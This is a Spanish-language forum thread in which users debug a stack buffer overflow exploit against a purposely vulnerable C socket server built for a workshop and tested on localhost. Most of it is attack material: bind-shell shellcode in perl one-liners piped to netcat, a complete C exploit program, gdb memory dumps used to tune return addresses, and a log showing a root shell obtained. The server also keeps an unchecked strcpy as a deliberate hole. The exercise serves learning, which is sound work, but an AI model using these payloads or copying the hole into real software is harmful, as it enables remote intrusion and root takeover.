Tema destacado: Nueva página de elhacker.net en Google+ 
Autor
|
Tema: ¿ Fallo BoF Remoto Linux ? (Leído 2,271 veces)
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Bueno, después de solucionar el último problema ( y colgarlo ) me he puesto a explotar el dichoso servidor de pruebas que he hecho para el taller. Os vuelvo a remitir el código... #include <sys/socket.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <time.h> int socketfd, newsocket; int vuln (char *trampa) { char buffer [100]; strcpy (buffer, trampa); } void shutup (int signal) { times (); printf ("Shutting down...\n\n"); close (newsocket); close (socketfd); exit (0); } int times () { time_t now=time (0); struct tm *ahora; char buffer [40]; ahora=localtime ((const time_t*)&now); strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora); printf ("%s ", buffer); return 0; } int main (int argc, char *argv []) { time_t now=time (0); struct tm *ahora; char hora [40]; ahora=localtime ((const time_t*)&now); strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora); printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora); if (getuid()!=0) { printf ("This proccess must be run by root.\n\n"); return 1; } if (argc<2) { printf ("Use: %s <PORT>\n\n", argv [0]); return 1; } int cont; struct sockaddr_in client, host; char buffer [1024]; int size=sizeof (client); socketfd=socket (2, 1 , 0); host.sin_family=AF_INET; host.sin_port=htons (atoi (argv [1])); host.sin_addr.s_addr=0; bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr)); listen (socketfd, 3); times (); printf ("Starting up...\n\n"); signal (SIGTERM, shutup); signal (SIGINT, shutup); while (1) { newsocket=accept (socketfd, (struct sockaddr*)&client, &size); times (); printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port)); cont=recv (newsocket, &buffer, 1024, 0); while (cont>2) { times (); buffer [cont-1]='\0'; printf ("RECV %d bytes: %s\n", cont, buffer); vuln (buffer); cont=recv (newsocket, &buffer, 1024, 0); } times (); printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port)); close (newsocket); } close (socketfd); return 0; } Y os remito el comando que estoy usando para explotar el fallo... [8 nops + 92 shellcode + 4 ret + 1 null'] juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf" . "\x00"' | nc -vv localhost 5555555
El null lo pongo porque en la línea ... while (cont>2) { times (); --> buffer [cont-1]='\0'; printf ("RECV %d bytes: %s\n", cont, buffer); ... el último byte (se programó así por el \n de muchos clientes) se borra. El caso es que compilo sin ninguna protección... juanra@Juanra:~$ sudo gdb -q ./serv [sudo] password for juanra: (gdb) r 31337 Starting program: /home/juanra/serv 31337 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 01:05:14 18/02/2011 01:05:14 Starting up...
18/02/2011 01:05:21 Got connection from 127.0.0.1:45163 18/02/2011 01:05:21 RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy�� Rh//shh/bin��R��S��̀������������
Program received signal SIGSEGV, Segmentation fault. 0xbffff801 in ?? () (gdb) x/16x 0xbffff801 0xbffff801: 0x00000000 0x07000000 0x04000000 0x07000000 0xbffff811: 0x1c000000 0x10bffff8 0x02000000 0x00697a00 0xbffff821: 0x02000000 0x01000000 0x00000000 0xc4000000 0xbffff831: 0x00bffff7 0x5c000000 0x00bffff8 0xc4000000 (gdb) i r eip eip 0xbffff801 0xbffff801 (gdb)
Fallo de segmentación al principio de la pila. Preguntas: ¿Por qué? ¿Cómo lo arreglo? Llevo toda la noche pensando, pero no se me ocurre nada... Qué puede ser? PD: Si os hace falta más información preguntadme. Gracias! Un saludo Sagrini
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Hola! He probado tu código con una shellcode que tenia yo y me ha funcionado: SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:49:25 18/02/2011 20:49:25 Starting up...
18/02/2011 20:49:29 Got connection from 127.0.0.1:33672 18/02/2011 20:49:29 RECV 112 bytes: ��������������������������������������������������������^�1��F�F � ����V 1ۉ�@̀�����/bin/sh����������� process 3640 is executing new program: /bin/dash Me da la sensación de que no llegas a sobreescribir completamente el RET. Para hacer overflow necesitas 109 bytes y tu le estas pasando 104: $ perl -e 'print "A"x108' | nc -vv localhost 16005
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:53:00 18/02/2011 20:53:00 Starting up...
18/02/2011 20:53:16 Got connection from 127.0.0.1:54045 18/02/2011 20:53:16 RECV 108 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? ()
Con 108 no llego a sobreescribir pero con 109 si: $ perl -e 'print "A"x109' | nc -vv localhost 16005
Starting program: /home/javi/programacion/pruebas/BOF_remoto/a.out 16005 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:58:36 18/02/2011 20:58:36 Starting up...
18/02/2011 20:58:43 Got connection from 127.0.0.1:39784 18/02/2011 20:58:43 RECV 109 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
Revisa el comando que lanzas contra el servidor. Ahora voy a probar tu shellcode.
|
|
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Hola Javi! Pues no sé, esta noche vuelvo a la carga  ... ¿Te funciona con mi comando exacto? Sí, pero es que 100 buffer + 4 EBP + 4 ESP = 108 xD Luego hay que restarle cuatro pues al volver se restan cuatro bytes de la pila (ret). Finalmente... 104. Eso último me extraña, no sé de dónde sale este último byte... Ahh xD del buffer [cont-1]='\0'; No me había dado cuenta de que esto también me afectaba en ese ámbito... xD Gracias! Seguiré probando... PD: Esto es un code para ir preparando el taller, no el code que vamos a usar en el taller. Nadie es taaaan despistado jaja...
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Hola de nuevo!
He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.
Saludos
|
|
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Hola de nuevo!
He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.
Mmm, puede que la haya recortado mal, luego la miro, pero no es mía  _________________________________________________________________________ Vale, modifico, un detallito... Al activar el randomize_va_space... juanra@Juanra:~$ sudo gdb -q serv [sudo] password for juanra: (gdb) r 31337 Starting program: /home/juanra/serv 31337 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:09:38 19/02/2011 13:09:38 Starting up...
19/02/2011 13:09:41 Got connection from 127.0.0.1:46633 19/02/2011 13:09:41 RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy�� Rh//shh/bin��R��S��̀������������
Program received signal SIGSEGV, Segmentation fault. 0xbffff7c4 in ?? () (gdb)
RET correcto. Y al desactivar... (gdb) r 31337 The program being debugged has been started already. Start it from the beginning? (y or n) y
Starting program: /home/juanra/serv 31337 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:10:53 19/02/2011 13:10:53 Starting up...
19/02/2011 13:10:56 Got connection from 127.0.0.1:60248 19/02/2011 13:10:56 RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy�� Rh//shh/bin��R��S��̀������������
Program received signal SIGSEGV, Segmentation fault. 0xbffff801 in ?? () (gdb)
Ambos corren así: juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf"x3 . "\x00"' | nc -vv localhost 31337
¿? Voy a mirar a ver la shellcode... _________________________________________________________________________ Modf: La shellcode va perfectamente 
|
|
|
|
« Última modificación: 19 Febrero 2011, 13:16 por Sagrini »
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Hola! He estado todo el finde fuera y no me ha dado tiempo a mirar mucho. Lo que sí he hecho es reproducir el problema que tú tienes, parece que la shellcode se jode por algún motivo que aún no he descubierto. A priori todo el copiado del buffer lo hace bien: 0xbffff180: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff1a0: 0x90909090 0x90909090 0x9958666a 0x5243db31 0xbffff1b0: 0x026a016a 0x80cde189 0x58666a96 0x68665243 0xbffff1c0: 0x5366697a 0x106ae189 0xe1895651 0x66b080cd 0xbffff1d0: 0x56534343 0x80cde189 0x524366b0 0xe1895652 0xbffff1e0: 0x6a9380cd 0x3fb05902 0x794980cd 0x520bb0f9 0xbffff1f0: 0x732f2f68 0x622f6868 0xe3896e69 0x53e28952 0xbffff200: 0x80cde189 0xbffff678 0xbffff1a0
Luego da un execepción y veo que la pila se ha modificado justo donde tengo la shellcode: 0xbffff180: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff1a0: 0x90909090 0x90909090 0x9958666a 0x5243db31 0xbffff1b0: 0x026a016a 0x80cde189 0x58666a96 0x68665243 0xbffff1c0: 0x5366697a 0x106ae189 0xe1895651 0x66b080cd 0xbffff1d0: 0x56534343 0x80cde189 0x524366b0 0x00000000 0xbffff1e0: 0x00000000 0x00000007 0x00000004 0x00000007 0xbffff1f0: 0xbffff1f8 0x00000010 0x697a0002 0x00000000 0xbffff200: 0x00000002 0x00000001 0x00000000 0xbffff200 Como se puede ver el EIP esta intentando ejecutar la instrucción que esta en la dir 0xbffff1dd. En esa dir habia código de nuestra shellcode que ha sido modificada. Program received signal SIGSEGV, Segmentation fault. 0xbffff1dd in ?? () (gdb) info r eax 0x66 102 ecx 0xbffff1e4 -1073745436 edx 0x0 0 ebx 0x5 5 esp 0xbffff1dc 0xbffff1dc ebp 0xbffff678 0xbffff678 esi 0x7 7 edi 0x0 0 eip 0xbffff1dd 0xbffff1dd eflags 0x10206 [ PF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Seguirí investigando
|
|
|
|
« Última modificación: 20 Febrero 2011, 21:49 por M3st4ng »
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
El fallo creo que podría estar en la shellcode... Aunque no me sirva para este caso le voy a meter una local, a ver si se ejecuta xD Si funciona es que el fallo está en la shellcode y listo...
Iré modificando xD
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Perdonad el doble-post, pero... Lo conseguí! En realidad era una tontería... \x00 se considera como byte nulo para strlen, por lo que no se contaba y me modificaba de todos modos una parte del exploit. Todo se solucionaba cambiando el byte nulo por cualquier otra cosa... xD xD xD xD Ohh... Un detallito era que en el GDB me funciona, pero fuera no. Eso es que el ret me cambia al salir  Ahora voy a meterle la buena shellcode y listo xD
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Hola!
Pues a mi me sigue cascando. La shellcode que uso esta bien porque la he probado en local y funciona perfectamente. No entiendo por qué narices se me modifica la shellcode.....
|
|
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
A mi lo que me falla es mi shellcode. He hecho una que printa AAAA y funciona, ahora, la del remoto no va... Ahora voy a mirar el desensamblado a ver a qué amiguito llama 
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Perdona el doblepost, pero cuando consigues algo que quieres te motivas un puñado  Te explico... Servidorjuanra@Juanra:~/Escritorio/Serv$ sudo gdb -q serv (gdb) r 31330 Starting program: /home/juanra/Escritorio/Serv/serv 31330 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 21/02/2011 23:16:53 21/02/2011 23:16:53 Starting up...
21/02/2011 23:17:00 Got connection from 127.0.0.1:43225 21/02/2011 23:17:00 RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀�� RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
Exploit linejuanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x35\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31330 hK 2.0 - By Sagrini (2010) - 21/02/2011 23:17:00 21/02/2011 23:17:00 Got connection with 127.0.0.1:31330 juanra@Juanra:~$
Bind Shell 5074juanra@Juanra:~$ nc -vv localhost 5074 localhost [127.0.0.1] 5074 (?) open whoami root groups root exit sent 19, rcvd 10 juanra@Juanra:~$
12 NOPS + 92 SHELLCODE + 4 RET + 1 BASURA buffer [cont-1]='\0'; Lo que me fastidia es que sólo corre cuando abres el servidor desde GDB. Mañana lo miraré  Un saludo!
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Hola!! El tema de que no te funcione sin el "gdb" es porque la dirección que pones como salto a los NOPs no es la misma cuando corre el programa con el gdb que sin él. Tendrás que crear te una función que en tiempo de ejecución te dé un ESP al que le tengas que restar unos cuantos bytes para que caiga dentro de los NOPS. La función que yo uso es esta: unsigned get_esp(void) { __asm__("movl %esp, %eax");
} Con respecto al BOF remoto, mañana volvere a intentar otra cosa. Salu2!!
|
|
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Mmm, yo sencillamente modifico el código con un printf y listo xD  La cosa es que ahora se come la shellcode, la empieza por donde no es y me suelta "Instrucción ilegal". Ahora, en GDB gracias a los nops corre xD Seguiré mirando... _________________________________________________________ Modf: Vaya con la shellcode... Añado al codeint vuln (char *trampa) { char buffer [100]; strcpy (buffer, trampa); printf ("Buffer [0x%08x] contains %s...\n", &buffer, buffer); } NCjuanra@Juanra:~$ nc -vv localhost 5074 localhost [127.0.0.1] 5074 (?) open sent 0, rcvd 0 juanra@Juanra:~$
Exploitjuanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337 hK 2.0 - By Sagrini (2010) - 22/02/2011 01:04:25 22/02/2011 01:04:25 Got connection with 127.0.0.1:31337 juanra@Juanra:~$
Ejecuto...juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:04:19 22/02/2011 01:04:19 Starting up...
22/02/2011 01:04:25 Got connection from 127.0.0.1:58332 22/02/2011 01:04:25 RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀�� RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS��� Fallo de segmentación
1. Ejecuto el servidor (port 31337).2. Ejecuto el exploit. El servidor recibe la cadena y queda parado.3. Ejecuto el NC. El netcat dice que se cierra la conexión y el servidor que "fallo de segmentación".¿?¿?¿?_________________________________________________________ Aparte, de pruebas... Serverjuanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:13:49 22/02/2011 01:13:49 Starting up...
22/02/2011 01:13:51 Got connection from 127.0.0.1:50840 22/02/2011 01:13:51 RECV 109 bytes: ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(��� Buffer [0xbffff824] contains ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���... Bjuanra@Juanra:~/Escritorio/Serv$
Exploitjuanra@Juanra:~$ perl -e 'print "\x90"x80 . "\x31\xc0\xb0\x04\x31\xd2\xb2\x01\x6a\x42\x89\xe1\x31\xdb\x43\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337 hK 2.0 - By Sagrini (2010) - 22/02/2011 01:13:51 22/02/2011 01:13:51 Got connection with 127.0.0.1:31337 juanra@Juanra:~$
La shellcode sólo escribía una B y salía. Funciona a la perfección 
|
|
|
|
« Última modificación: 22 Febrero 2011, 01:14 por Sagrini »
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Garfield07
Desconectado
Mensajes: 1.123
¡Este año voy a por todas! JMJ 2011
|
Vale, ahora estaba pasando todo a limpio con una shellcode buena, y me ha salido este error al escribir el exploit... El fallo está en que me sobreescribe el RET con en el principio de la shellcode (9958666a == 0x6a 0x66 0x58 0x99 ...) ¿Qué le pasa? Serv#include <sys/socket.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <time.h> int sockfd, newsock; void shutup (int signal) { times (); printf ("Shutting down...\n\n"); close (newsock); close (sockfd); exit (0); } int times () { time_t now=time (0); struct tm *ahora; char buffer [40]; ahora=localtime ((const time_t*)&now); strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora); printf ("%s ", buffer); return 0; } int handle_conection (char *buffer) { char buff [256]; strcpy (buff, buffer); times (); buff [strlen (buff)-1]='\0'; printf ("[0x%08x]: %s\n", &buff, buff); return 0; } int main (int argc, char *argv []) { time_t now=time (0); struct tm *ahora; char hora [40]; ahora=localtime ((const time_t*)&now); strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora); printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora); if (getuid()!=0) { printf ("This proccess must be run by root.\n\n"); return 1; } if (argc<2) { printf ("Use: %s <PORT>\n\n", argv [0]); return 1; } int cont; struct sockaddr_in client, host; char buffer [1024]; int size=sizeof (client); sockfd=socket (2, 1 , 0); host.sin_family=AF_INET; host.sin_port=htons (atoi (argv [1])); host.sin_addr.s_addr=0; bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)); listen (sockfd, 3); times (); printf ("Starting up...\n\n"); signal (SIGTERM, shutup); signal (SIGINT, shutup); while (1) { newsock=accept (sockfd, (struct sockaddr*)&client, &size); times (); printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port)); cont=recv (newsock, &buffer, 1024, 0); while (cont > 1) { handle_conection (buffer); cont=recv (newsock, &buffer, 1024, 0); } times (); printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port)); close (newsock); } close (sockfd); return 0; } Exploit#include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <sys/socket.h> int main (int argc, char *argv []) { printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n"); if (argc != 3) { printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]); return 1; } printf ("Creating socket...\t"); struct sockaddr_in host; int sockfd; host.sin_family = AF_INET; host.sin_port = htons (atoi (argv [2])); host.sin_addr.s_addr = inet_addr (argv [1]); memset (host.sin_zero, 0, 8); if ((sockfd=socket (2, 1, 0))==-1) { printf ("[FAIL]\n\n"); return 1; } else printf ("[OK]\n"); printf ("Conecting target...\t"); if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1) { printf ("[FAIL]\n\n"); return 1; } else printf ("[OK]\n"); printf ("Creating buffer...\t"); char nops [168]; memset (nops, '\x90', 168); char shellcode [93] = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58" "\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66" "\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a" "\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; char ret [6] = "\x30\xf8\xff\xbf\x90"; char command [265]; strcpy (command, nops); strcat (command, shellcode); strcat (command, ret); printf ("[OK]\n"); printf ("Sending buffer...\t"); if (send (sockfd, &command, strlen (command), 0)==-1) { printf ("[FAIL]\n\n"); return 1; } else printf ("[OK]\n\n"); FILE *fp = fopen ("a.txt", "w+"); fprintf (fp, "%s", command); fclose (fp); printf ("Now you can exec NC [nc -vv localhost 5074]\nBe good!\n\n"); return 0; } Root Shell1 GDB serv(gdb) r 31330 Starting program: /home/juanra/Escritorio/Serv/serv 31330 SmallServ 2.0 - By Sagrini - Sagrini 2010 - 02/03/2011 19:50:08 02/03/2011 19:50:08 Starting up...
02/03/2011 19:50:11 Got connection from 127.0.0.1:41991 02/03/2011 19:50:11 [0xbffff6f8]: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy�� Rh//shh/bin��R��S��̀jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy�� Rh//shh/bin��R��S��̀0����n���������� �����(跢%���y���y��(���1���1����y���y��(���1����������
Program received signal SIGSEGV, Segmentation fault. 0x9958666a in ?? () (gdb)
User Shell2 Exploitjuanra@Juanra:~/Escritorio/Serv$ ./exploit 127.0.0.1 31330 Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net Creating socket... [OK] Conecting target... [OK] Creating buffer... [OK] Sending buffer... [OK]
Now you can exec NC [nc -vv localhost 5074] Be good!
juanra@Juanra:~/Escritorio/Serv$
Gracias y un saludo! Sagrini
|
|
|
|
|
En línea
|
 * Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
not-all0w3d
Desconectado
Mensajes: 9
|
Hay una extraña sensación en mi, que me indica sólo una cosa, el que no programa su propia shellcode, no está listo para solucionar todo tipo de problemas..
No he leído bien y replanteo la pregunta, ¿has hecho tú la shellcode?
|
|
|
|
|
En línea
|
|
|
|
|
|